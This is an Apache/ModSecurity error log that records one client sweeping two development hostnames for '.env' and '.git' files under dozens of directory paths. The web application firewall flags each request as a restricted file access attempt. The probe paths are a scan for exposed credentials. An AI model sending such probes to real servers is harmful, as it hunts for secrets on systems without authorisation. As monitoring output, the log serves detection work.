[Fri Jul 17 09:14:32.858784 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/infrastructure/.env"] [unique_id "almlIFCBpfuYyhJ140vV0gAAAB4"]
[Fri Jul 17 09:14:32.859051 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIFCBpfuYyhJ140vV0gAAAB4"]
[Fri Jul 17 09:14:32.948429 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/build/.env"] [unique_id "almlILEKozcCJ-ReuK0F-QAAAAg"]
[Fri Jul 17 09:14:32.949685 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/build/.env"] [unique_id "almlILEKozcCJ-ReuK0F-QAAAAg"]
[Fri Jul 17 09:14:33.031955 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/docker/.env"] [unique_id "almlIUgVnBK6wAv37w6vtAAAABQ"]
[Fri Jul 17 09:14:33.032211 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/docker/.env"] [unique_id "almlIUgVnBK6wAv37w6vtAAAABQ"]
[Fri Jul 17 09:14:33.032470 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIUgVnBK6wAv37w6vtAAAABQ"]
[Fri Jul 17 09:14:33.148625 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlILEKozcCJ-ReuK0F-QAAAAg"]
[Fri Jul 17 09:14:33.209671 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /k8s/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/k8s/.env"] [unique_id "almlIfwooI4qY7Jg93pYpAAAABM"]
[Fri Jul 17 09:14:33.210087 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/k8s/.env"] [unique_id "almlIfwooI4qY7Jg93pYpAAAABM"]
[Fri Jul 17 09:14:33.210454 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIfwooI4qY7Jg93pYpAAAABM"]
[Fri Jul 17 09:14:33.317259 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/dist/.env"] [unique_id "almlIZBVIrrUwtEhdafUEwAAAAU"]
[Fri Jul 17 09:14:33.318496 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/dist/.env"] [unique_id "almlIZBVIrrUwtEhdafUEwAAAAU"]
[Fri Jul 17 09:14:33.379920 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/kubernetes/.env"] [unique_id "almlIQ7FYe46zHK_jL3TDQAAABk"]
[Fri Jul 17 09:14:33.380180 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/kubernetes/.env"] [unique_id "almlIQ7FYe46zHK_jL3TDQAAABk"]
[Fri Jul 17 09:14:33.380424 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIQ7FYe46zHK_jL3TDQAAABk"]
[Fri Jul 17 09:14:33.438047 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:33.547033 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /terraform/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/terraform/.env"] [unique_id "almlIejME1mgqYZ5O94pZAAAAAE"]
[Fri Jul 17 09:14:33.547346 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/terraform/.env"] [unique_id "almlIejME1mgqYZ5O94pZAAAAAE"]
[Fri Jul 17 09:14:33.547709 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIejME1mgqYZ5O94pZAAAAAE"]
[Fri Jul 17 09:14:33.575905 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlIZBVIrrUwtEhdafUEwAAAAU"]
[Fri Jul 17 09:14:33.715269 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ansible/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/ansible/.env"] [unique_id "almlIUgVnBK6wAv37w6vtQAAABQ"]
[Fri Jul 17 09:14:33.715546 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/ansible/.env"] [unique_id "almlIUgVnBK6wAv37w6vtQAAABQ"]
[Fri Jul 17 09:14:33.715877 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIUgVnBK6wAv37w6vtQAAABQ"]
[Fri Jul 17 09:14:33.744815 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/public_html/.env"] [unique_id "almlIV1_86A5R6msWNfXeQAAABI"]
[Fri Jul 17 09:14:33.745965 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/public_html/.env"] [unique_id "almlIV1_86A5R6msWNfXeQAAABI"]
[Fri Jul 17 09:14:33.819324 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:51358] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:33.888622 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.git/.env"] [unique_id "almlIbEWOaI5pmYo9fnR3gAAAAA"]
[Fri Jul 17 09:14:33.888864 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.git/.env"] [unique_id "almlIbEWOaI5pmYo9fnR3gAAAAA"]
[Fri Jul 17 09:14:33.889136 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIbEWOaI5pmYo9fnR3gAAAAA"]
[Fri Jul 17 09:14:33.955867 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlIV1_86A5R6msWNfXeQAAABI"]
[Fri Jul 17 09:14:34.056746 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ci/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/ci/.env"] [unique_id "almlIq14q1EBnanVMYGnDAAAAAk"]
[Fri Jul 17 09:14:34.056994 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/ci/.env"] [unique_id "almlIq14q1EBnanVMYGnDAAAAAk"]
[Fri Jul 17 09:14:34.057246 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIq14q1EBnanVMYGnDAAAAAk"]
[Fri Jul 17 09:14:34.127494 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /htdocs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/htdocs/.env"] [unique_id "almlIujME1mgqYZ5O94pZQAAAAE"]
[Fri Jul 17 09:14:34.128696 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/htdocs/.env"] [unique_id "almlIujME1mgqYZ5O94pZQAAAAE"]
[Fri Jul 17 09:14:34.150133 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:34.227163 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/cd/.env"] [unique_id "almlIgRRrtuZqNDDSqWzQQAAABo"]
[Fri Jul 17 09:14:34.227397 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/cd/.env"] [unique_id "almlIgRRrtuZqNDDSqWzQQAAABo"]
[Fri Jul 17 09:14:34.227631 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIgRRrtuZqNDDSqWzQQAAABo"]
[Fri Jul 17 09:14:34.250868 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:34.362447 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlIujME1mgqYZ5O94pZQAAAAE"]
[Fri Jul 17 09:14:34.365595 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:34.394727 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /jenkins/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/jenkins/.env"] [unique_id "almlIkgVnBK6wAv37w6vtgAAABQ"]
